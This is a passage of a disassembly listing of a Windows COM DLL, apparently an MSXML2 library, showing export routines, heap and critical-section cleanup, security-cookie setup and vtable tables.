		cmp	esi, 1
		jnz	short loc_69B1E0F4
		call	sub_69B1E031


loc_69B1E0F4:				; CODE XREF: sub_69B1E0E2+Bj
		mov	eax, esi
		pop	esi
		retn
sub_69B1E0E2	endp

; ---------------------------------------------------------------------------
		dd 0
		dd 416F2944h, 0
		db  7Ch	; |
		db 0E1h, 2 dup(0)
		db    6
		align 4
		db  0Ch
		align 10h
		db    5
		align 4
		db  20h
		db 0E1h, 2 dup(0)
		db  50h	; P
		db 0E1h, 2 dup(0)
		db  64h	; d
		db 0E1h, 2 dup(0)
		db 0ABh	; «
		db 0C4h, 1, 0
		db  97h	; —
		db 0C4h, 1, 0
		db  7Dh	; }
		db 0C4h, 1, 0
		db 0BFh	; ¿
		db 0C4h, 1, 0
		db 0CFh	; Ï
		db 0C4h, 1, 0
		db  83h	; ƒ
		db 0C4h, 1, 0
		db  4Ah	; J
		db 0C4h, 1, 0
		db 0D7h	; ×
		db 0E1h, 2 dup(0)
		db  48h	; H
		db 0C5h, 2 dup(0)
		db  2Bh	; +
		db 0BBh, 2 dup(0)
		db 0E4h	; ä
		db 0C0h, 1, 0
		db  8Ch	; Œ
; ---------------------------------------------------------------------------
		retn	1
; ---------------------------------------------------------------------------
		db  87h	; ‡
		db 0E1h, 2 dup(0)
		db  97h	; —
		db 0E1h, 2 dup(0)
		db 0A9h	; ©
		db 0E1h, 2 dup(0)
		db 0B1h	; ±
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0E1h, 2 dup(0)
		dw 7
		dw 8
		dw 9
		dw 0Ah
		dw 0Bh
		unicode	0, <>,0
		db    1
		align 2
		dw 2
		db    3
		align 2
		dw 4
		db    5
		align 2
		dw 6
		db  4Dh	; M
		db 53h,	58h, 4Dh
		db  4Ch	; L
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 44h
aLlcanunloadnow	db 'llCanUnloadNow',0
aDllgetclassobj	db 'DllGetClassObject',0
aDllmain	db 'DllMain',0
aDllregisterser	db 'DllRegisterServer',0
aDllunregisters	db 'DllUnregisterServer',0
; Exported entry  13. DllCanUnloadNow

; =============== S U B	R O U T	I N E =======================================


; HRESULT __stdcall DllCanUnloadNow()
		public DllCanUnloadNow

DllCanUnloadNow	proc near

; FUNCTION CHUNK AT 69B228E3 SIZE 00000024 BYTES

		cmp	byte_69B92928, 0
		jnz	loc_69B228E3
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jz	loc_69B228E6
		push	0Eh
		call	sub_69B18C0C
		push	esi
		call	dword_69B92944
		cmp	dword_69B92924,	0
		jg	short loc_69B1E219
		call	sub_69B1E21E
		test	eax, eax
		jle	loc_69B228ED


loc_69B1E219:				; CODE XREF: DllCanUnloadNow+33j
					; DllCanUnloadNow+4721j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
DllCanUnloadNow	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E21E	proc near		; CODE XREF: DllCanUnloadNow+35p
		mov	eax, dword_69B92934
		retn
sub_69B1E21E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18CB3


loc_69B1E224:				; CODE XREF: sub_69B18CB3+115j
		mov	dword_69B9299C,	ebx
		mov	dword_69B929A0,	ebx
		push	edi
		push	1
		push	ebx
		call	sub_69B1E244
		mov	esi, dword_69B92994
		jmp	loc_69B1E2D4
; END OF FUNCTION CHUNK	FOR sub_69B18CB3

; =============== S U B	R O U T	I N E =======================================



sub_69B1E244	proc near		; CODE XREF: sub_69B18CB3+5581p
					; sub_69B1E818+4758p ...

; FUNCTION CHUNK AT 69B22E66 SIZE 00000079 BYTES

		push	2Ch
		push	offset dword_69B1E2C8
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		cmp	byte ptr [esi+20h], 0
		jnz	short loc_69B1E2B9
		xor	edi, edi
		push	edi
		push	esi
		lea	ecx, [ebp-24h]
		call	sub_69B1A8C7
		mov	byte ptr [esi+20h], 1
		mov	al, [esi+21h]
		mov	[ebp-25h], al
		mov	al, [ebp+0Ch]
		mov	[esi+21h], al
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi


loc_69B1E27B:				; CODE XREF: sub_69B22EE8+Aj
		and	dword ptr [ebp-4], 0
		mov	ebx, [ebp+10h]


loc_69B1E282:				; CODE XREF: sub_69B1E244+4C6Aj
					; sub_69B1E244+4C88j
		mov	edi, [esi+24h]
		mov	[ebp-34h], edi
		cmp	edi, ebx
		jnz	loc_69B22E66
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-2Ch], 0
		jnz	loc_69B22ED1
		mov	[ebp-2Ch], ebx


loc_69B1E2A1:				; CODE XREF: sub_69B1E244+4C96j
		mov	eax, [ebp-2Ch]
		mov	[esi+24h], eax
		mov	al, [ebp-25h]
		mov	[esi+21h], al
		mov	byte ptr [esi+20h], 0
		lea	ecx, [ebp-24h]
		call	sub_69B1976C


loc_69B1E2B9:				; CODE XREF: sub_69B1E244+13j
		call	sub_69B1853C
		retn	0Ch
sub_69B1E244	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B1E2C8	dd 0FFFFFFFFh			dd offset sub_69B22EDF
		dd offset sub_69B22EE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18CB3


loc_69B1E2D4:				; CODE XREF: sub_69B18CB3+558Cj
					; sub_69B18CB3+5631j
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_69B1E2E6
		push	esi
		call	sub_69B1B480
		mov	esi, [esi+14h]
		jmp	short loc_69B1E2D4
; ---------------------------------------------------------------------------


loc_69B1E2E6:				; CODE XREF: sub_69B18CB3+5626j
		cmp	byte_69B92998, 0
		jz	short loc_69B1E2FC
		test	byte ptr dword_69B929A8, 3
		jz	loc_69B23187


loc_69B1E2FC:				; CODE XREF: sub_69B18CB3+563Aj
					; sub_69B18CB3+A522j
		mov	dword_69B9299C,	edi
		mov	dword_69B929A0,	edi
		mov	eax, dword_69B92984
		mov	dword_69B929C4,	eax


loc_69B1E312:				; CODE XREF: sub_69B18CB3+A4CFj
					; sub_69B231E3+Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B1E316:				; CODE XREF: sub_69B18CB3+A578j
		mov	eax, dword_69B9298C
		cmp	eax, lpMem
		ja	loc_69B23213
		mov	dword_69B929A0,	ebx
		mov	ebx, offset dword_69B92994
		mov	esi, dword_69B92994


loc_69B1E338:				; CODE XREF: sub_69B18CB3+56DAj
		test	esi, esi
		jnz	short loc_69B1E363
		and	dword_69B929A0,	esi


loc_69B1E342:				; CODE XREF: sub_69B18CB3+10Bj
		dec	dword_69B929AC


loc_69B1E348:				; CODE XREF: sub_69B18CB3+105j
		lea	ecx, [ebp-20h]
		call	sub_69B1900C


loc_69B1E350:				; CODE XREF: sub_69B18CB3+21j
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------


loc_69B1E363:				; CODE XREF: sub_69B18CB3+5687j
		cmp	byte ptr [esi+18h], 0
		jz	short loc_69B1E382
		lea	edi, [esi+0Ch]
		push	edi		; Target
		call	sub_69B18980
		and	eax, 0FFFFFFF9h
		push	eax
		push	esi
		call	sub_69B11EFA
		mov	[edi], esi
		mov	byte ptr [esi+18h], 0


loc_69B1E382:				; CODE XREF: sub_69B18CB3+56B4j
		push	ebx
		push	esi
		call	sub_69B1E38F
		mov	ebx, eax
		mov	esi, [ebx]
		jmp	short loc_69B1E338
; END OF FUNCTION CHUNK	FOR sub_69B18CB3

; =============== S U B	R O U T	I N E =======================================



sub_69B1E38F	proc near		; CODE XREF: sub_69B18CB3+56D1p
					; sub_69B2D9A7+96p

; FUNCTION CHUNK AT 69B22F7A SIZE 0000007A BYTES
; FUNCTION CHUNK AT 69B2300A SIZE 0000000F BYTES

		push	18h
		push	offset dword_69B1E3B8
		call	sub_69B19C5C
		mov	edi, [ebp+8]
		cmp	byte ptr [edi+44h], 0
		jnz	loc_69B22F7A


loc_69B1E3A8:				; CODE XREF: sub_69B1E38F+4BEFj
					; sub_69B1E38F+4BF9j ...
		lea	ebx, [edi+14h]


loc_69B1E3AB:				; CODE XREF: sub_69B1E38F+4C85j
		mov	eax, ebx
		call	sub_69B1853C
		retn	8
sub_69B1E38F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B1E3B8	dd 0FFFFFFFFh			dd offset sub_69B22FF4
		dd offset sub_69B22FFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E3D1


loc_69B1E3C4:				; CODE XREF: sub_69B1E3D1+3Ej
		cmp	ecx, eax
		jnz	loc_69B229DE


loc_69B1E3CC:				; CODE XREF: sub_69B1E3D1+4612j
		mov	ecx, [ecx+14h]
		jmp	short loc_69B1E40D
; END OF FUNCTION CHUNK	FOR sub_69B1E3D1

; =============== S U B	R O U T	I N E =======================================



sub_69B1E3D1	proc near		; CODE XREF: DllEntryPoint+6Dp

; FUNCTION CHUNK AT 69B1E3C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 69B229B1 SIZE 0000007D BYTES

		push	0Ch
		push	offset dword_69B1E470
		call	sub_69B19C5C
		xor	edi, edi
		inc	edi
		mov	dword_69B92980,	edi
		xor	ebx, ebx
		cmp	dword_69B9296C,	ebx
		jnz	loc_69B229B1


loc_69B1E3F4:				; CODE XREF: sub_69B1E3D1+45EEj
					; sub_69B1E3D1+4608j
		call	sub_69B19BC1
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, dword_69B9295C
		mov	ecx, esi


loc_69B1E40D:				; CODE XREF: sub_69B1E3D1-2j
		cmp	ecx, ebx
		jnz	short loc_69B1E3C4
		mov	[ebp-4], ebx
		cmp	dword_69B9296C,	ebx
		jnz	loc_69B229E8


loc_69B1E420:				; CODE XREF: sub_69B1E3D1+461Cj
		call	sub_69B1E4CF
		call	sub_69B11F7F
		cmp	byte_69B92998, bl
		jz	short loc_69B1E437
		call	sub_69B1E570


loc_69B1E437:				; CODE XREF: sub_69B1E3D1+5Fj
		call	sub_69B1C1E2
		call	sub_69B11FB9
		call	sub_69B1B0B5
		cmp	byte_69B92998, bl
		jz	short loc_69B1E458
		call	sub_69B120A4
		call	sub_69B120B5


loc_69B1E458:				; CODE XREF: sub_69B1E3D1+7Bj
					; sub_69B22A37+3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1E47C


loc_69B1E461:				; CODE XREF: sub_69B1E3D1+4658j
		mov	byte_69B92928, 1
		call	sub_69B1853C
		retn
sub_69B1E3D1	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B1E470	dd 0FFFFFFFFh			dd offset sub_69B22A2E
		dd offset sub_69B22A37

; =============== S U B	R O U T	I N E =======================================



sub_69B1E47C	proc near		; CODE XREF: sub_69B19A23:loc_69B19ACFp
					; sub_69B1E3D1+8Bp
		push	offset dword_69B929E8
		call	sub_69B17230
		push	offset dword_69B929E4
		call	sub_69B17230
		push	offset dword_69B929E0
		call	sub_69B17230
		push	offset dword_69B929DC
		call	sub_69B17230
		push	offset dword_69B929D8
		call	sub_69B17230
		push	offset dword_69B929D4
		call	sub_69B17230
		push	offset dword_69B929D0
		call	sub_69B17230
		push	hObject		; hObject
		call	ds:CloseHandle	; CloseHandle
		retn
sub_69B1E47C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E4CF	proc near		; CODE XREF: sub_69B1E3D1:loc_69B1E420p

; FUNCTION CHUNK AT 69B24AFE SIZE 00000093 BYTES

		push	ebx
		push	ebp
		push	esi
		call	sub_69B1E533
		mov	ebp, ds:DeleteCriticalSection
		xor	ebx, ebx
		cmp	dword_69B95AE0,	ebx
		jz	short loc_69B1E4EE
		push	offset CriticalSection ; lpCriticalSection
		call	ebp ; DeleteCriticalSection


loc_69B1E4EE:				; CODE XREF: sub_69B1E4CF+16j
		mov	esi, offset hEvent


loc_69B1E4F3:				; CODE XREF: sub_69B1E4CF+37j
		mov	eax, [esi]
		cmp	eax, ebx
		jnz	loc_69B24AFE


loc_69B1E4FD:				; CODE XREF: sub_69B1E4CF+6638j
		sub	esi, 4
		cmp	esi, offset pHandles
		jge	short loc_69B1E4F3
		mov	ecx, dword_69B95ADC
		cmp	ecx, ebx
		jnz	loc_69B24B0C


loc_69B1E516:				; CODE XREF: sub_69B1E4CF+6666j
		cmp	word_69B95AEC, bx
		jnz	loc_69B24B3A


loc_69B1E523:				; CODE XREF: sub_69B1E4CF+6683j
		cmp	dword_69B95AD8,	ebx
		jnz	loc_69B24B57


loc_69B1E52F:				; CODE XREF: sub_69B1E4CF+66BDj
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B1E4CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E533	proc near		; CODE XREF: sub_69B1E4CF+3p
					; sub_69B7EB86+B5p

; FUNCTION CHUNK AT 69B24AC7 SIZE 00000037 BYTES

		cmp	dword_69B95AE0,	0
		push	esi
		mov	esi, offset CriticalSection
		jnz	short loc_69B1E553
		push	esi		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	dword_69B95AE0,	1


loc_69B1E553:				; CODE XREF: sub_69B1E533+Dj
		push	esi		; lpCriticalSection
		call	ds:EnterCriticalSection
		cmp	dword_69B95AF0,	0
		jnz	loc_69B24AC7


loc_69B1E567:				; CODE XREF: sub_69B1E533+65C6j
		push	esi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	esi
		retn
sub_69B1E533	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E570	proc near		; CODE XREF: sub_69B1E3D1+61p
					; .text:69B3D2EDj

; FUNCTION CHUNK AT 69B24159 SIZE 00000010 BYTES

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, offset dword_69B95A90
		mov	ebp, offset dword_69B95AA0


loc_69B1E57E:				; CODE XREF: sub_69B1E570+27j
		xor	edi, edi


loc_69B1E580:				; CODE XREF: sub_69B1E570+1Fj
		mov	esi, [ebx+edi*4]
		test	esi, esi
		jnz	loc_69B24159


loc_69B1E58B:				; CODE XREF: sub_69B1E570+5BF4j
		inc	edi
		cmp	edi, 4
		jl	short loc_69B1E580
		cmp	ebx, ebp
		jz	short loc_69B1E599
		mov	ebx, ebp
		jmp	short loc_69B1E57E
; ---------------------------------------------------------------------------


loc_69B1E599:				; CODE XREF: sub_69B1E570+23j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B1E570	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1E5B8


loc_69B1E59E:				; CODE XREF: sub_69B1E5B8+Fj
		push	edi
		push	esi
		call	sub_69B1A48F
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_69B1E5C9
		push	edi
		push	esi
		call	sub_69B1A48F
		pop	ecx
		pop	ecx
		jmp	short loc_69B1E5C9
; END OF FUNCTION CHUNK	FOR sub_69B1E5B8

; =============== S U B	R O U T	I N E =======================================



sub_69B1E5B8	proc near		; CODE XREF: sub_69B1AE5D+8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B1E59E SIZE 0000001A BYTES

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		push	edi
		mov	edi, 400h
		jnz	short loc_69B1E59E


loc_69B1E5C9:				; CODE XREF: sub_69B1E5B8-Dj
					; sub_69B1E5B8-2j
		pop	edi
		pop	esi
		retn
sub_69B1E5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E5CC	proc near		; CODE XREF: sub_69B1C43A+19p
		push	esi


loc_69B1E5CD:				; CODE XREF: sub_69B1E5CC+2Ej
		mov	esi, dword_69B9295C
		test	esi, esi
		jnz	short loc_69B1E5E5
		push	dwTlsIndex	; dwTlsIndex
		call	ds:TlsFree	; TlsFree
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1E5E5:				; CODE XREF: sub_69B1E5CC+9j
		mov	eax, [esi+14h]
		mov	ecx, esi
		mov	dword_69B9295C,	eax
		call	sub_69B12110
		push	esi		; lpMem
		call	sub_69B1E5FC
		jmp	short loc_69B1E5CD
sub_69B1E5CC	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B1E5FC(LPVOID lpMem)

sub_69B1E5FC	proc near		; CODE XREF: sub_69B1E5CC+29p
					; sub_69B2D601+10p

lpMem		= dword	ptr  4

; FUNCTION CHUNK AT 69B22BE9 SIZE 00000008 BYTES

		mov	eax, [esp+lpMem]
		cmp	byte ptr [eax+22h], 1
		jz	loc_69B22BE9


loc_69B1E60A:				; CODE XREF: sub_69B1E5FC+45F0j
		xor	ecx, ecx
		cmp	dword_69B92940,	ecx
		push	eax		; lpMem
		push	ecx		; dwFlags
		push	hHeap		; hHeap
		jnz	short loc_69B1E625
		call	ds:HeapFree

locret_69B1E622:			; CODE XREF: sub_69B1E5FC+2Ej
		retn	4
; ---------------------------------------------------------------------------


loc_69B1E625:				; CODE XREF: sub_69B1E5FC+1Ej
		call	sub_69B2D4AB
		jmp	short locret_69B1E622
sub_69B1E5FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B1E62C	proc near		; CODE XREF: sub_69B1B625+E8p
		mov	eax, off_69B92678
		test	eax, eax
		jz	short loc_69B1E637
		call	eax ; sub_69B1D244


loc_69B1E637:				; CODE XREF: sub_69B1E62C+7j
		push	esi
		push	edi
		mov	ecx, offset dword_69B92154
		mov	edi, offset dword_69B9215C
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_69B1E662


loc_69B1E64B:				; CODE XREF: sub_69B1E62C+30j
		test	eax, eax
		jnz	short loc_69B1E683
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B1E657
		call	ecx


loc_69B1E657:				; CODE XREF: sub_69B1E62C+27j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_69B1E64B
		test	eax, eax
		jnz	short loc_69B1E683


loc_69B1E662:				; CODE XREF: sub_69B1E62C+1Dj
		mov	esi, offset dword_69B92124
		mov	eax, esi
		mov	edi, offset dword_69B92150
		cmp	eax, edi
		jnb	short loc_69B1E681


loc_69B1E672:				; CODE XREF: sub_69B1E62C+53j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B1E67A
		call	eax


loc_69B1E67A:				; CODE XREF: sub_69B1E62C+4Aj
		add	esi, 4
		cmp	esi, edi
		jb	short loc_69B1E672


loc_69B1E681:				; CODE XREF: sub_69B1E62C+44j
		xor	eax, eax


loc_69B1E683:				; CODE XREF: sub_69B1E62C+21j
					; sub_69B1E62C+34j
		pop	edi
		pop	esi
		retn
sub_69B1E62C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1E686	proc near		; DATA XREF: .data:69B92128o

PerformanceCount= LARGE_INTEGER	ptr -10h
SystemTimeAsFileTime= _FILETIME	ptr -8

; FUNCTION CHUNK AT 69B22B4C SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_69B92170
		test	eax, eax
		jz	short loc_69B1E69C
		cmp	eax, 0BB40E64Eh
		jnz	short locret_69B1E709


loc_69B1E69C:				; CODE XREF: sub_69B1E686+Dj
		push	esi
		lea	eax, [ebp+SystemTimeAsFileTime]
		push	eax		; lpSystemTimeAsFileTime
		call	ds:GetSystemTimeAsFileTime	; GetSystemTimeAsFileTime
		mov	esi, [ebp+SystemTimeAsFileTime.dwHighDateTime]
		xor	esi, [ebp+SystemTimeAsFileTime.dwLowDateTime]
		call	ds:GetCurrentProcessId	; GetCurrentProcessId
		xor	esi, eax
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		xor	esi, eax
		call	ds:GetTickCount	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	ds:QueryPerformanceCounter	; QueryPerformanceCounter
		mov	eax, dword ptr [ebp+PerformanceCount+4]
		xor	eax, dword ptr [ebp+PerformanceCount]
		xor	esi, eax
		mov	dword_69B92170,	esi
		jz	loc_69B22B4C


loc_69B1E6E3:				; CODE XREF: sub_69B1E686+44D0j
		push	offset ModuleName ; "kernel32.dll"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		test	eax, eax
		mov	dword_69B92930,	eax
		pop	esi
		jz	short locret_69B1E709
		push	offset aUnhandledexcep ; "UnhandledExceptionFilter"
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_69B9292C,	eax

locret_69B1E709:			; CODE XREF: sub_69B1E686+14j
					; sub_69B1E686+70j
		leave
		retn
sub_69B1E686	endp

; ---------------------------------------------------------------------------
		align 4
; char aUnhandledexcep[]
aUnhandledexcep	db 'UnhandledExceptionFilter',0 ; DATA XREF: sub_69B1E686+72o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19D0A


loc_69B1E725:				; CODE XREF: sub_69B19D0A+80j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		cmp	esi, eax
		jnz	loc_69B239F5
		cmp	[eax], edi
		jz	loc_69B239E6


loc_69B1E73C:				; CODE XREF: sub_69B19D0A+9CDEj
		cmp	[eax+4], edi
		jz	loc_69B239ED


loc_69B1E745:				; CODE XREF: sub_69B19D0A+9CE6j
					; sub_69B19D0A+9CFBj
		mov	[esi+10h], ebx
		lea	eax, [ebx+400000h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+8], eax
		lea	eax, [esi+98h]
		mov	[esi+0Ch], eax
		xor	eax, eax
		mov	edi, 0F0h


loc_69B1E767:				; CODE XREF: sub_69B19D0A+4A77j
		xor	ecx, ecx
		cmp	eax, 10h
		setnl	cl
		dec	ecx
		and	ecx, edi
		dec	ecx
		mov	[esi+eax*8+18h], ecx
		mov	[esi+eax*8+1Ch], edi
		inc	eax
		cmp	eax, 400h
		jl	short loc_69B1E767
		mov	ecx, 4000h
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		mov	eax, 10000h


loc_69B1E793:				; CODE XREF: sub_69B19D0A+4AB4j
		mov	ecx, [esi+10h]
		add	ecx, eax
		cmp	ebx, ecx
		jnb	short loc_69B1E7C0
		lea	ecx, [ebx+10h]
		mov	[ebx+8], ecx
		mov	dword ptr [ebx+0Ch], 0EFh
		mov	byte ptr [ebx+0FFh], 0FFh
		mov	ecx, [ebp+8]
		or	ecx, 1
		mov	[ebx], ecx
		add	ebx, 1000h
		jmp	short loc_69B1E793
; ---------------------------------------------------------------------------


loc_69B1E7C0:				; CODE XREF: sub_69B19D0A+4A90j
		mov	eax, esi


loc_69B1E7C2:				; CODE XREF: sub_69B19D0A+9D82j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1E7C8:				; CODE XREF: sub_69B19D0A+56j
		call	sub_69B2D4D6
		jmp	loc_69B19D68
; END OF FUNCTION CHUNK	FOR sub_69B19D0A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1E7D2	proc near		; DATA XREF: .text:69B1C918o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 69B22B6B SIZE 00000025 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jz	loc_69B22B6B
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+0Ch], 0
		push	esi
		jnz	loc_69B22B7F
		cmp	[ebp+arg_4], 0
		jnz	loc_69B22B75
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	dword ptr [eax+8]


loc_69B1E807:				; CODE XREF: sub_69B1E7D2+43B9j
		mov	esi, eax


loc_69B1E809:				; CODE XREF: sub_69B1E7D2+43A8j
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B1E813:				; CODE XREF: sub_69B1E7D2+439Ej
		pop	edi
		pop	ebp
		retn	10h
sub_69B1E7D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E818	proc near		; CODE XREF: sub_69B2D5A5+38p
					; DATA XREF: sub_69B1CA7C+99o ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B22F6D SIZE 0000000D BYTES

		mov	eax, [esp+arg_0]
		dec	dword ptr [eax+30h]
		jnz	short locret_69B1E82C
		xor	ecx, ecx
		cmp	[eax+28h], ecx
		jnz	loc_69B22F6D

locret_69B1E82C:			; CODE XREF: sub_69B1E818+7j
					; sub_69B1E818+475Dj
		retn	4
sub_69B1E818	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B1E82F(OLECHAR *,	int, int, OLECHAR *, char)

sub_69B1E82F	proc near		; DATA XREF: .text:69B2A894o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+14h]
		test	ecx, ecx
		jz	short loc_69B1E853
		cmp	[ebp+arg_10], 0
		jz	short loc_69B1E8A7
		cmp	byte ptr [edi+18h], 0
		jnz	short loc_69B1E8A7
		test	ecx, ecx
		jz	short loc_69B1E853
		push	1
		call	sub_69B8498B


loc_69B1E853:				; CODE XREF: sub_69B1E82F+Bj
					; sub_69B1E82F+1Bj
		push	esi
		push	1Ch
		call	sub_69B1D897
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B1E89B
		push	ebx
		push	[ebp+arg_0]	; OLECHAR *
		mov	ebx, SysAllocString
		mov	dword ptr [esi], offset	off_69B1EA68
		mov	dword ptr [esi+4], offset off_69B1E930
		mov	dword ptr [esi+8], offset off_69B1E8B0
		call	ebx ; SysAllocString
		push	[ebp+arg_C]	; OLECHAR *
		mov	[esi+0Ch], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+10h], eax
		mov	eax, [ebp+arg_8]
		mov	[esi+14h], eax
		call	ebx ; SysAllocString
		mov	[esi+18h], eax
		pop	ebx
		jmp	short loc_69B1E89D
; ---------------------------------------------------------------------------


loc_69B1E89B:				; CODE XREF: sub_69B1E82F+30j
		xor	esi, esi


loc_69B1E89D:				; CODE XREF: sub_69B1E82F+6Aj
		mov	al, [ebp+arg_10]
		mov	[edi+14h], esi
		mov	[edi+18h], al
		pop	esi


loc_69B1E8A7:				; CODE XREF: sub_69B1E82F+11j
					; sub_69B1E82F+17j
		pop	edi
		pop	ebp
		retn	14h
sub_69B1E82F	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1E8B0	dd offset sub_69B84A43	; DATA XREF: sub_69B1E82F+49o
		dd offset sub_69B1EC38
		dd offset sub_69B1EC38
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B8458A
		dd offset sub_69B84698
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
off_69B1E930	dd offset sub_69B84A43	; DATA XREF: sub_69B1E82F+42o
		dd offset sub_69B1EC38
		dd offset sub_69B1EC38
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B365EB
		dd offset sub_69B84A23
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365F3
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365EB
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84578
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A53
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365F3
